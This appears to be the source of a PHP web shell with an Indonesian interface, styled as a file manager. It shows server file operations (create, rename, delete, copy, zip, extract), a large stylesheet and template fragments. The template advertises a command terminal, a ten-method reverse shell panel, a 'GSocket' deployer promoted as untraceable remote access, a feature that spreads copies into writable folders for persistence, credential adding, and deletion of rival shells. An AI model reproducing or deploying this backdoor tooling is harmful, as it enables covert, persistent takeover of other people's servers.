if ($action === 'mkdir' || $action === 'mkfile') {
$name = fm_name((string)($_POST['name'] ?? ''));
if ($name === '') {
fm_flash('err', 'Nama tidak valid.');
} elseif (file_exists($dir . '/' . $name)) {
fm_flash('err', 'Nama sudah digunakan.');
} elseif ($action === 'mkdir') {
$ok = @mkdir($dir . '/' . $name, 0775);
fm_flash($ok ? 'ok' : 'err', $ok ? 'Folder "' . $name . '" dibuat.' : 'Gagal membuat folder.');
} else {
$ok = @file_put_contents($dir . '/' . $name, '') !== false;
fm_flash($ok ? 'ok' : 'err', $ok ? 'Berkas "' . $name . '" dibuat.' : 'Gagal membuat berkas.');
}
fm_go($rel);
}
if ($action === 'rename') {
$src = fm_norm((string)($_POST['src'] ?? ''));
$abs = fm_abs($src);
$name = fm_name((string)($_POST['name'] ?? ''));
if ($src === '' || !fm_inside($abs) || !file_exists($abs) || $name === '') {
fm_flash('err', 'Penggantian nama gagal.');
} elseif (file_exists(dirname($abs) . '/' . $name)) {
fm_flash('err', 'Nama sudah digunakan.');
} else {
fm_flash(@rename($abs, dirname($abs) . '/' . $name) ? 'ok' : 'err', 'Nama diubah menjadi "' . $name . '".');
}
fm_go($rel);
}
if ($action === 'delete') {
$n = 0;
foreach ($targets as $t) { if (fm_rmrf($t['abs'])) { $n++; } }
fm_flash($n > 0 ? 'ok' : 'err', $n > 0 ? $n . ' item dihapus.' : 'Tidak ada item yang dihapus.');
fm_go($rel);
}
if ($action === 'clip') {
$mode = ($_POST['mode'] ?? '') === 'cut' ? 'cut' : 'copy';
$_SESSION['fm_clip'] = ['mode' => $mode, 'items' => array_column($targets, 'rel')];
fm_flash('ok', count($targets) . ' item di' . ($mode === 'cut' ? 'potong' : 'salin') . '.');
fm_go($rel);
}
if ($action === 'paste') {
$clip = $_SESSION['fm_clip'] ?? null;
$n = 0;
if (is_array($clip)) {
foreach ($clip['items'] as $r) {
$src = fm_abs(fm_norm((string)$r));
if (!fm_inside($src) || !file_exists($src)) { continue; }
if (is_dir($src) && (strpos($dir . '/', rtrim($src, '/') . '/') === 0)) { continue; }
$name = fm_unique($dir, basename($src));
$dst = $dir . '/' . $name;
if ($clip['mode'] === 'cut') {
if (@rename($src, $dst)) { $n++; }
} elseif (fm_copy($src, $dst)) { $n++; }
}
if ($clip['mode'] === 'cut') { unset($_SESSION['fm_clip']); }
}
fm_flash($n > 0 ? 'ok' : 'err', $n > 0 ? $n . ' item ditempel.' : 'Tidak ada item yang ditempel.');
fm_go($rel);
}
if ($action === 'compress' && FM_ZIP) {
$name = fm_name((string)($_POST['name'] ?? ''));
if ($name === '') { $name = 'arsip-' . date('Ymd-His'); }
if (fm_ext($name) !== 'zip') { $name .= '.zip'; }
$name = fm_unique($dir, $name);
$zip = new ZipArchive();
$n = 0;
if ($zip->open($dir . '/' . $name, ZipArchive::CREATE | ZipArchive::OVERWRITE) === true) {
foreach ($targets as $t) { fm_zip_add($zip, $t['abs'], basename($t['abs'])); $n++; }
$zip->close();
}
fm_flash($n > 0 ? 'ok' : 'err', $n > 0 ? 'Arsip "' . $name . '" dibuat.' : 'Gagal membuat arsip.');
fm_go($rel);
}
if ($action === 'extract' && FM_ZIP) {
$src = fm_norm((string)($_POST['src'] ?? ''));
$abs = fm_abs($src);
$ok = false;
if ($src !== '' && fm_inside($abs) && is_file($abs)) {
$out = $dir . '/' . fm_unique($dir, pathinfo($abs, PATHINFO_FILENAME));
$zip = new ZipArchive();
if ($zip->open($abs) === true) {
@mkdir($out, 0775, true);
$ok = $zip->extractTo($out);
$zip->close();
}
}
fm_flash($ok ? 'ok' : 'err', $ok ? 'Arsip diekstrak.' : 'Gagal mengekstrak arsip.');
fm_go($rel);
}
fm_go($rel);
}
$q = trim((string)($_GET['q'] ?? ''));
$sort = in_array($_GET['sort'] ?? '', ['name', 'size', 'date', 'type'], true) ? (string)$_GET['sort'] : 'name';
$order = ($_GET['order'] ?? 'asc') === 'desc' ? 'desc' : 'asc';
$view = ($_COOKIE['fm_view'] ?? 'list') === 'grid' ? 'grid' : 'list';
$theme = ($_COOKIE['fm_theme'] ?? 'dark') === 'light' ? 'light' : 'dark';
$shellOk = fm_shell_ok();
$shellName = FM_WIN ? 'cmd.exe' : basename(fm_shell_bin());
$items = [];
$truncated = false;
if ($q !== '') {
$stack = [$dir];
while ($stack && count($items) < FM_LIMIT) {
$cur = array_pop($stack);
foreach (scandir($cur) ?: [] as $f) {
if ($f === '.' || $f === '..') { continue; }
if (!FM_HIDDEN && $f[0] === '.') { continue; }
$abs = $cur . '/' . $f;
if (stripos($f, $q) !== false) {
if (count($items) >= FM_LIMIT) { $truncated = true; break 2; }
$items[] = [
'name' => $f,
'rel' => ltrim(substr($abs, strlen(FM_ROOT) + 1), '/'),
'dir' => is_dir($abs),
'size' => is_dir($abs) ? 0 : (int)@filesize($abs),
'time' => (int)@filemtime($abs),
'ext' => is_dir($abs) ? '' : fm_ext($f),
'mode' => (int)@fileperms($abs),
'write'=> is_writable($abs),
'link' => is_link($abs),
];
}
if (is_dir($abs) && !is_link($abs)) { $stack[] = $abs; }
}
}
} else {
foreach (scandir($dir) ?: [] as $f) {
if ($f === '.' || $f === '..') { continue; }
if (!FM_HIDDEN && $f[0] === '.') { continue; }
$abs = $dir . '/' . $f;
$items[] = [
'name' => $f,
'rel' => ($rel === '' ? '' : $rel . '/') . $f,
'dir' => is_dir($abs),
'size' => is_dir($abs) ? 0 : (int)@filesize($abs),
'time' => (int)@filemtime($abs),
'ext' => is_dir($abs) ? '' : fm_ext($f),
'mode' => (int)@fileperms($abs),
'write'=> is_writable($abs),
'link' => is_link($abs),
];
}
}
usort($items, static function (array $x, array $y) use ($sort, $order): int {
if ($x['dir'] !== $y['dir']) { return $x['dir'] ? -1 : 1; }
$r = match ($sort) {
'size' => $x['size'] <=> $y['size'],
'date' => $x['time'] <=> $y['time'],
'type' => strcasecmp($x['ext'], $y['ext']),
default => strnatcasecmp($x['name'], $y['name']),
};
if ($r === 0) { $r = strnatcasecmp($x['name'], $y['name']); }
return $order === 'desc' ? -$r : $r;
});
$countDir = 0; $countFile = 0; $totalSize = 0;
foreach ($items as $it) {
if ($it['dir']) { $countDir++; } else { $countFile++; $totalSize += $it['size']; }
}
$crumbs = [];
$acc = '';
foreach ($rel === '' ? [] : explode('/', $rel) as $seg) {
$acc = $acc === '' ? $seg : $acc . '/' . $seg;
$crumbs[] = ['name' => $seg, 'rel' => $acc];
}
$parent = $rel === '' ? null : fm_norm(dirname($rel) === '.' ? '' : dirname($rel));
$clip = $_SESSION['fm_clip'] ?? null;
$clipCount = is_array($clip) ? count($clip['items']) : 0;
$flash = $_SESSION['fm_flash'] ?? null;
unset($_SESSION['fm_flash']);
$dTotal = @disk_total_space(FM_ROOT) ?: 0;
$dFree = @disk_free_space(FM_ROOT) ?: 0;
$dUsed = $dTotal > 0 ? $dTotal - $dFree : 0;
$dPct = $dTotal > 0 ? round($dUsed / $dTotal * 100) : 0;
function fm_sort_url(string $key, string $sort, string $order, string $rel, string $q): string {
$o = ($sort === $key && $order === 'asc') ? 'desc' : 'asc';
$p = ['p' => $rel, 'sort' => $key, 'order' => $o];
if ($q !== '') { $p['q'] = $q; }
return '?' . http_build_query($p);
}
function fm_css(): string {
return <<<'CSS'
*,*::before,*::after{box-sizing:border-box}
html{-webkit-text-size-adjust:100%}
:root{
--bg:#17191d;--bg2:#1b1e23;--panel:#1b1e23;--panel2:#22262c;--line:#2b3037;--line2:#3a4049;
--tx:#d5d9de;--tx2:#8d949e;--tx3:#666d77;--acc:#4f97e8;--accs:rgba(79,151,232,.13);
--ok:#5cab5f;--err:#e0574f;--warn:#c9963c;--sh:0 10px 30px rgba(0,0,0,.45);--r:5px;
--fdir:#d3a03f;--fimg:#4b9bb5;--fvid:#bd6c8c;--faud:#8878bd;--fzip:#c08349;--fcod:#5ea262;--fdoc:#c0665f;
--mono:ui-monospace,"SFMono-Regular","JetBrains Mono",Consolas,"Liberation Mono",monospace;
}
[data-theme=light]{
--bg:#ffffff;--bg2:#f7f8fa;--panel:#ffffff;--panel2:#f2f4f7;--line:#e1e4e9;--line2:#ccd1d9;
--tx:#1f2328;--tx2:#59616d;--tx3:#858d99;--acc:#1462c4;--accs:rgba(20,98,196,.09);
--ok:#1a7f37;--err:#c8322c;--warn:#9a6d00;--sh:0 10px 26px rgba(20,26,38,.13);
--fdir:#b8862a;--fimg:#2b7f9b;--fvid:#a94c72;--faud:#6a58a8;--fzip:#a36528;--fcod:#3d8443;--fdoc:#b04a44;
}
body{margin:0;background:var(--bg);color:var(--tx);font:13px/1.5 system-ui,-apple-system,"Segoe UI",Roboto,sans-serif;-webkit-font-smoothing:antialiased}
a{color:inherit;text-decoration:none}
button,input,textarea,select{font:inherit;color:inherit}
::selection{background:var(--accs)}
.ic{width:16px;height:16px;flex:none}
.muted{color:var(--tx2)}
.mono{font-family:var(--mono)}
.btn{display:inline-flex;align-items:center;gap:7px;height:30px;padding:0 10px;border:1px solid var(--line);background:var(--panel2);color:var(--tx);border-radius:var(--r);cursor:pointer;white-space:nowrap;transition:.12s background,.12s border-color}
.btn:hover{background:var(--line);border-color:var(--line2)}
.btn:disabled{opacity:.4;cursor:not-allowed}
.btn.primary{background:var(--acc);border-color:var(--acc);color:#fff;font-weight:500}
.btn.primary:hover{filter:brightness(1.1)}
.btn.danger{color:var(--err)}
.btn.danger:hover{background:color-mix(in srgb,var(--err) 14%,transparent);border-color:color-mix(in srgb,var(--err) 40%,transparent)}
.btn.ghost{background:transparent;border-color:transparent}
.btn.ghost:hover{background:var(--panel2);border-color:var(--line)}
.btn.icon{width:30px;padding:0;justify-content:center}
.btn.block{width:100%;justify-content:center;height:34px;margin-top:4px}
.btn.sm{height:26px;padding:0 8px;font-size:12px}
.field{display:block;margin-bottom:12px}
.field span{display:block;font-size:12px;color:var(--tx2);margin-bottom:5px}
.field input,.inp{width:100%;height:32px;padding:0 9px;background:var(--bg);border:1px solid var(--line);border-radius:var(--r);outline:none;transition:.12s}
.field input:focus,.inp:focus{border-color:var(--acc)}
.alert{padding:8px 10px;border-radius:var(--r);font-size:12.5px;margin-bottom:12px;background:color-mix(in srgb,var(--err) 12%,transparent);color:var(--err);border:1px solid color-mix(in srgb,var(--err) 30%,transparent)}
body.auth{display:grid;place-items:center;min-height:100vh;padding:20px}
.login{width:100%;max-width:330px;background:var(--panel);border:1px solid var(--line);border-radius:8px;padding:26px}
.login-brand{width:36px;height:36px;display:grid;place-items:center;border:1px solid var(--line2);border-radius:var(--r);color:var(--acc);margin-bottom:14px}
.login h1{margin:0 0 3px;font-size:17px;font-weight:600}
.login p{margin:0 0 18px;font-size:12.5px}
.app{display:grid;grid-template-columns:224px 1fr;min-height:100vh}
.side{background:var(--bg2);border-right:1px solid var(--line);padding:14px 10px;display:flex;flex-direction:column;gap:16px;position:sticky;top:0;height:100vh;overflow-y:auto}
.brand{display:flex;align-items:center;gap:9px;padding:2px 4px 0}
.brand-logo{width:30px;height:30px;border:1px solid var(--line2);border-radius:var(--r);display:grid;place-items:center;color:var(--acc)}
.brand b{display:block;font-size:13.5px;font-weight:600}
.brand small{color:var(--tx3);font-size:11px}
.side-t{font-size:10.5px;text-transform:uppercase;letter-spacing:.08em;color:var(--tx3);padding:0 6px;margin-bottom:6px}
.snav{display:flex;flex-direction:column;gap:1px}
.snav a{display:flex;align-items:center;gap:8px;padding:6px 8px;border-radius:var(--r);color:var(--tx2);font-size:12.5px}
.snav a:hover{background:var(--panel2);color:var(--tx)}
.snav a.on{background:var(--panel2);color:var(--tx);box-shadow:inset 2px 0 0 var(--acc)}
.snav a span{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}
.disk{padding:0 6px}
.disk-h{display:flex;align-items:center;gap:7px;font-size:12px;color:var(--tx2);margin-bottom:8px}
.bar{height:4px;border-radius:2px;background:var(--line);overflow:hidden}
.bar i{display:block;height:100%;background:var(--acc)}
.disk-f{display:flex;justify-content:space-between;margin-top:6px;font-size:11px;color:var(--tx3);font-family:var(--mono)}
.side-foot{margin-top:auto;display:flex;flex-direction:column;gap:6px;border-top:1px solid var(--line);padding-top:8px}
.who{display:flex;align-items:center;gap:8px;padding:7px 8px;border-radius:var(--r);border:1px solid var(--line);font-size:12.5px}
.who .ic{color:var(--tx2)}
.main{min-width:0;display:flex;flex-direction:column}
.top{position:sticky;top:0;z-index:20;display:flex;align-items:center;gap:8px;padding:9px 14px;background:var(--bg);border-bottom:1px solid var(--line)}
.crumb{display:flex;align-items:center;gap:1px;min-width:0;overflow-x:auto;scrollbar-width:none;flex:1}
.crumb::-webkit-scrollbar{display:none}
.crumb a{display:flex;align-items:center;gap:5px;padding:4px 7px;border-radius:var(--r);color:var(--tx2);font-size:12.5px;white-space:nowrap}
.crumb a:hover{background:var(--panel2);color:var(--tx)}
.crumb a.on{color:var(--tx);font-weight:500}
.crumb .sep{color:var(--tx3);display:flex}
.crumb .sep .ic{width:12px;height:12px}
.search{position:relative;flex:none;width:210px}
.search .ic{position:absolute;left:9px;top:50%;transform:translateY(-50%);color:var(--tx3);width:14px;height:14px}
.search input{height:30px;padding:0 28px 0 29px;background:var(--panel2)}
.search .clr{position:absolute;right:3px;top:50%;transform:translateY(-50%);width:24px;height:24px;border:0;background:none;color:var(--tx3);border-radius:4px;cursor:pointer;display:grid;place-items:center}
.search .clr:hover{background:var(--line);color:var(--tx)}
.bar-tools{display:flex;align-items:center;gap:6px;padding:9px 14px;flex-wrap:wrap;border-bottom:1px solid var(--line)}
.sp{flex:1}
.vr{width:1px;height:18px;background:var(--line)}
.sel-bar{display:none;align-items:center;gap:6px;padding:7px 14px;background:var(--panel2);border-bottom:1px solid var(--line);font-size:12.5px;flex-wrap:wrap}
.sel-bar.on{display:flex}
.sel-bar b{color:var(--acc);font-family:var(--mono)}
.wrap{flex:1;padding:12px 14px 48px;position:relative;background-image:linear-gradient(135deg,rgba(79,151,232,.03) 0%,rgba(139,109,255,.02) 100%);background-color:#0b0d12;background-size:cover;background-attachment:fixed;background-position:center}
.wrap::before{content:'';position:absolute;inset:0;background:rgba(11,13,18,.45);pointer-events:none;z-index:0}
.wrap > *{position:relative;z-index:1}
.head{display:grid;gap:10px;align-items:center;padding:0 9px 7px;font-size:10.5px;text-transform:uppercase;letter-spacing:.07em;color:var(--tx3);border-bottom:1px solid var(--line);margin-bottom:3px}
.head a{display:inline-flex;align-items:center;gap:4px;color:inherit}
.head a:hover{color:var(--tx)}
.head a.on{color:var(--acc)}
.items{display:flex;flex-direction:column}
.head,.item{grid-template-columns:28px minmax(0,1fr) 128px 88px 148px 100px}
.item{display:grid;gap:10px;align-items:center;padding:5px 9px;border-radius:var(--r);border:1px solid transparent;transition:.1s background}
.item:hover{background:var(--panel2)}
.item.on{background:var(--accs);border-color:color-mix(in srgb,var(--acc) 34%,transparent)}
.item.cut{opacity:.45}
.sel{display:grid;place-items:center}
.sel input{appearance:none;width:14px;height:14px;border:1px solid var(--line2);border-radius:3px;background:var(--bg);cursor:pointer;position:relative;margin:0}
.sel input:checked{background:var(--acc);border-color:var(--acc)}
.sel input:checked::after{content:"";position:absolute;left:4px;top:1px;width:3px;height:7px;border:solid #fff;border-width:0 2px 2px 0;transform:rotate(42deg)}
.nm{display:flex;align-items:center;gap:9px;min-width:0}
.thumb-wrap{width:22px;height:22px;flex:none;display:grid;place-items:center;border-radius:3px;overflow:hidden;position:relative}
.thumb-wrap .ic{width:16px;height:16px}
.thumb-wrap img{position:absolute;inset:0;width:100%;height:100%;object-fit:cover;display:none}
.thumb-wrap img.rdy{display:block}
.k-dir{color:var(--fdir)}.k-image{color:var(--fimg)}.k-video{color:var(--fvid)}.k-audio{color:var(--faud)}
.k-archive{color:var(--fzip)}.k-code{color:var(--fcod)}.k-doc{color:var(--fdoc)}.k-text,.k-file{color:var(--tx2)}
.lnk{min-width:0;display:block}
.lnk b{display:block;font-weight:400;font-size:13px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;cursor:pointer}
.lnk b:hover{text-decoration:underline;text-underline-offset:2px}
.lnk small{display:none;color:var(--tx3);font-size:11px;font-family:var(--mono)}
.sz,.md{color:var(--tx2);font-size:11.5px;font-family:var(--mono);overflow:hidden;text-overflow:ellipsis;white-space:nowrap}
.pm{display:flex;align-items:center;gap:7px;font-size:11.5px;font-family:var(--mono);white-space:nowrap;overflow:hidden}
.pm .ps{letter-spacing:.02em}
.pm .oc{color:var(--tx3);font-size:10.5px}
.pm.w .ps{color:var(--ok)}
.pm.r .ps{color:var(--err)}
.pm .dot{width:6px;height:6px;border-radius:50%;flex:none;background:currentColor}
.pm.w{color:var(--ok)}.pm.r{color:var(--err)}
.ac{display:flex;gap:1px;justify-content:flex-end;opacity:0}
.item:hover .ac,.item.on .ac{opacity:1}
.ac button{width:24px;height:24px;display:grid;place-items:center;border:0;background:none;color:var(--tx2);border-radius:3px;cursor:pointer}
.ac button:hover{background:var(--line);color:var(--tx)}
.ac button.del:hover{color:var(--err)}
.ac .ic{width:14px;height:14px}
.items.grid{display:grid;grid-template-columns:repeat(auto-fill,minmax(132px,1fr));gap:6px}
.items.grid .item{grid-template-columns:none;display:flex;flex-direction:column;align-items:center;text-align:center;gap:8px;padding:14px 9px 10px;border-color:var(--line);position:relative}
.items.grid .item:hover{border-color:var(--line2)}
.items.grid .sel{position:absolute;top:6px;left:6px;opacity:0}
.items.grid .item:hover .sel,.items.grid .item.on .sel{opacity:1}
.items.grid .nm{flex-direction:column;gap:8px;width:100%}
.items.grid .thumb-wrap{width:100%;height:62px;border-radius:4px;background:var(--panel2)}
.items.grid .thumb-wrap .ic{width:28px;height:28px}
.items.grid .lnk{width:100%;text-align:center}
.items.grid .lnk b{white-space:normal;overflow:hidden;display:-webkit-box;-webkit-line-clamp:2;-webkit-box-orient:vertical;font-size:12.5px;line-height:1.35}
.items.grid .lnk small{display:block;margin-top:2px}
.items.grid .sz,.items.grid .md,.items.grid .pm{display:none}
.items.grid .ac{position:absolute;top:5px;right:5px;background:var(--panel);border:1px solid var(--line);border-radius:4px}
.head.hide{display:none}
.empty{padding:56px 20px;text-align:center;color:var(--tx3)}
.empty .ic{width:30px;height:30px;margin-bottom:10px;opacity:.5}
.empty p{margin:0 0 3px;font-size:13.5px;color:var(--tx2)}
.dz{position:fixed;inset:0;z-index:60;display:none;place-items:center;background:color-mix(in srgb,var(--bg) 86%,transparent)}
.dz.on{display:grid}
.dz-in{border:1px dashed var(--acc);border-radius:6px;padding:40px 54px;text-align:center;background:var(--panel)}
.dz-in .ic{width:28px;height:28px;color:var(--acc);margin-bottom:10px}
.dz-in h3{margin:0 0 3px;font-size:14px;font-weight:600}
.modal{position:fixed;inset:0;z-index:80;display:none;align-items:center;justify-content:center;padding:16px;background:rgba(0,0,0,.55)}
.modal.on{display:flex}
.box{width:100%;max-width:400px;max-height:92vh;display:flex;flex-direction:column;background:var(--panel);border:1px solid var(--line2);border-radius:7px;box-shadow:var(--sh);overflow:hidden}
.box.wide{max-width:900px;height:86vh}
.box-h{display:flex;align-items:center;gap:9px;padding:11px 14px;border-bottom:1px solid var(--line)}
.box-h h3{margin:0;font-size:13px;font-weight:600;flex:1;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}
.box-b{padding:14px;overflow:auto;flex:1}
.box-f{display:flex;gap:7px;justify-content:flex-end;padding:11px 14px;border-top:1px solid var(--line);background:var(--bg2)}
.x{width:26px;height:26px;border:0;background:none;color:var(--tx2);border-radius:4px;cursor:pointer;display:grid;place-items:center}
.x:hover{background:var(--line);color:var(--tx)}
.ed{width:100%;height:100%;min-height:300px;padding:11px;background:var(--bg);border:1px solid var(--line);border-radius:var(--r);font:12.5px/1.6 var(--mono);resize:none;outline:none;tab-size:4;white-space:pre;overflow:auto}
.ed:focus{border-color:var(--acc)}
.box.wide .box-b{padding:12px;display:flex}
.drop{border:1px dashed var(--line2);border-radius:6px;padding:26px 16px;text-align:center;cursor:pointer;transition:.12s}
.drop:hover,.drop.hot{border-color:var(--acc);background:var(--accs)}
.drop .ic{width:24px;height:24px;color:var(--tx2);margin-bottom:8px}
.ups{margin-top:12px;display:flex;flex-direction:column;gap:6px;max-height:180px;overflow:auto}
.up{display:flex;align-items:center;gap:8px;font-size:12px}
.up span{flex:1;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}
.up b{font-family:var(--mono);font-weight:500}
.pv{display:grid;place-items:center;background:var(--bg);min-height:180px}
.pv img,.pv video{max-width:100%;max-height:72vh;display:block}
.pv iframe{width:100%;height:72vh;border:0;background:#fff}
.pv audio{width:100%}
.ctx{position:fixed;z-index:90;min-width:172px;padding:4px;background:var(--panel);border:1px solid var(--line2);border-radius:6px;box-shadow:var(--sh);display:none}
.ctx.on{display:block}
.ctx button{display:flex;align-items:center;gap:9px;width:100%;padding:6px 8px;border:0;background:none;border-radius:4px;cursor:pointer;font-size:12.5px;text-align:left}
.ctx button:hover{background:var(--panel2)}
.ctx button.del{color:var(--err)}
.ctx hr{border:0;border-top:1px solid var(--line);margin:4px 2px}
.ctx .ic{width:14px;height:14px;color:var(--tx2)}
.ctx button.del .ic{color:var(--err)}
.toasts{position:fixed;right:14px;bottom:14px;z-index:100;display:flex;flex-direction:column;gap:7px}
.toast{display:flex;align-items:center;gap:9px;padding:9px 12px;background:var(--panel);border:1px solid var(--line2);border-left:2px solid var(--acc);border-radius:var(--r);box-shadow:var(--sh);font-size:12.5px;max-width:300px}
.toast.ok{border-left-color:var(--ok)}.toast.ok .ic{color:var(--ok)}
.toast.err{border-left-color:var(--err)}.toast.err .ic{color:var(--err)}
.term{position:fixed;left:0;right:0;bottom:0;z-index:70;height:320px;display:none;flex-direction:column;background:var(--bg2);border-top:1px solid var(--line2);box-shadow:var(--sh)}
.term.on{display:flex}
.term-rz{height:4px;cursor:ns-resize;background:transparent;flex:none}
.term-rz:hover{background:var(--acc)}
.term-h{display:flex;align-items:center;gap:8px;padding:5px 12px 6px;border-bottom:1px solid var(--line);flex:none}
.term-h .ic{width:14px;height:14px;color:var(--tx2)}
.term-t{font-size:11px;text-transform:uppercase;letter-spacing:.08em;color:var(--tx2)}
.term-cwd{font-family:var(--mono);font-size:11.5px;color:var(--tx3);overflow:hidden;text-overflow:ellipsis;white-space:nowrap;direction:rtl;max-width:44%}
.term-h button{width:24px;height:24px;border:0;background:none;color:var(--tx2);border-radius:3px;cursor:pointer;display:grid;place-items:center}
.term-h button:hover{background:var(--line);color:var(--tx)}
.term-b{flex:1;overflow:auto;padding:9px 12px;font:12.5px/1.55 var(--mono);white-space:pre-wrap;word-break:break-word}
.term-b .cl{color:var(--tx);margin-top:6px}
.term-b .cl:first-child{margin-top:0}
.term-b .cl i{color:var(--acc);font-style:normal;margin-right:7px}
.term-b .o{color:var(--tx2)}
.term-b .e{color:var(--err)}
.term-b .rc{color:var(--tx3);font-size:11.5px}
.term-b .rc.bad{color:var(--err)}
.term-i{display:flex;align-items:center;gap:8px;padding:7px 12px;border-top:1px solid var(--line);flex:none}
.term-i i{color:var(--acc);font-style:normal;font-family:var(--mono);font-size:12.5px}
.term-i input{flex:1;background:none;border:0;outline:none;font:12.5px/1.5 var(--mono);padding:0}
.term-i input::placeholder{color:var(--tx3)}
.term.busy .term-i i{color:var(--warn)}
.burger{display:none}
.ovl{display:none;position:fixed;inset:0;background:rgba(0,0,0,.45);z-index:39}
.ovl.on{display:block}
@media(max-width:1000px){
.app{grid-template-columns:1fr}
.side{position:fixed;left:0;top:0;z-index:40;width:236px;transform:translateX(-100%);transition:transform .18s ease}
.side.on{transform:none}
.burger{display:grid}
.search{width:170px}
}
@media(max-width:900px){
.head,.item{grid-template-columns:28px minmax(0,1fr) 128px 88px 100px}
.md,.head .h-md{display:none}
}
@media(max-width:760px){
.head,.item{grid-template-columns:26px minmax(0,1fr) 84px 92px}
.pm,.head .h-pm{display:none}
.lnk small{display:block}
.top{padding:8px 10px;flex-wrap:wrap}
.search{width:100%;order:3}
.bar-tools,.sel-bar,.wrap{padding-left:10px;padding-right:10px}
.btn .lb{display:none}
.btn{padding:0 8px}
.btn.primary{padding:0 10px}
.btn.primary .lb{display:inline}
.ac{opacity:1}
.toasts{left:10px;right:10px;bottom:10px}
.toast{max-width:none}
.term{height:56vh}
.term-cwd{display:none}
}
@media(max-width:480px){
.head,.item{grid-template-columns:24px minmax(0,1fr) 76px}
.sz,.head .h-sz{display:none}
.items.grid{grid-template-columns:repeat(auto-fill,minmax(108px,1fr))}
.items.grid .head,.items.grid .item{grid-template-columns:none}
}
CSS;
}
?>
= e($rel === '' ? 'Beranda' : basename($rel)) ?> · = e(FM_TITLE) ?>
0 item dipilih
Hasil pencarian = e($q) ?> — = count($items) ?> item= $truncated ? ' (dibatasi ' . FM_LIMIT . ')' : '' ?>
= ico('folder') ?>
= $q !== '' ? 'Tidak ada hasil' : 'Folder ini kosong' ?>
Unggah berkas atau buat folder baru untuk memulai.
= ico($it['dir'] ? 'folder' : ($kind === 'file' ? 'file' : $kind)) ?>
= e($it['name']) ?>= $it['dir'] ? 'Folder' : e(fm_size($it['size'])) ?>
= e($pstr) ?>= e($poct) ?>
= $it['dir'] ? '—' : e(fm_size($it['size'])) ?>
= e(date('d M Y, H:i', $it['time'])) ?>
= ico('upload') ?>
Lepaskan untuk mengunggah
Berkas akan disimpan di folder saat ini
Unggah Berkas
= ico('upload') ?>
Klik atau seret berkas ke sini
Batas per berkas: = e(ini_get('upload_max_filesize')) ?>
= ico('pencil') ?>
Editor
= ico('lock') ?>
Panel Backup
Add user credentials untuk panel control.
= ico('image') ?>
Background URL
= ico('shield') ?>
Defense System
Sebarkan backup salinan ke folder writable untuk redundansi.
= ico('term') ?>
Terminal · = e($shellName) ?>
= e(FM_ROOT) ?>
$
= ico('search') ?>
Shell Scanner
🔍 Scan untuk mengdeteksi & menghapus hidden shells di semua folder.
🔄 Scanning...
Deleting...
0%
0 / 0 • ~0s
= ico('unbox') ?>
Reverse Shell (10 Methods)
= ico('box') ?>
GSocket Deployer
🌐 Deploy Global Socket (gsocket) untuk reverse shell atau remote access yang tidak dapat dilacak
Fitur:
- ✅ Secret key auto-generate
- ✅ Background deployment
- ✅ Global socket infrastructure
- ✅ Copy-paste ready token
✅ GSocket Deployed!
Secret Key:
-
Connect Command:
-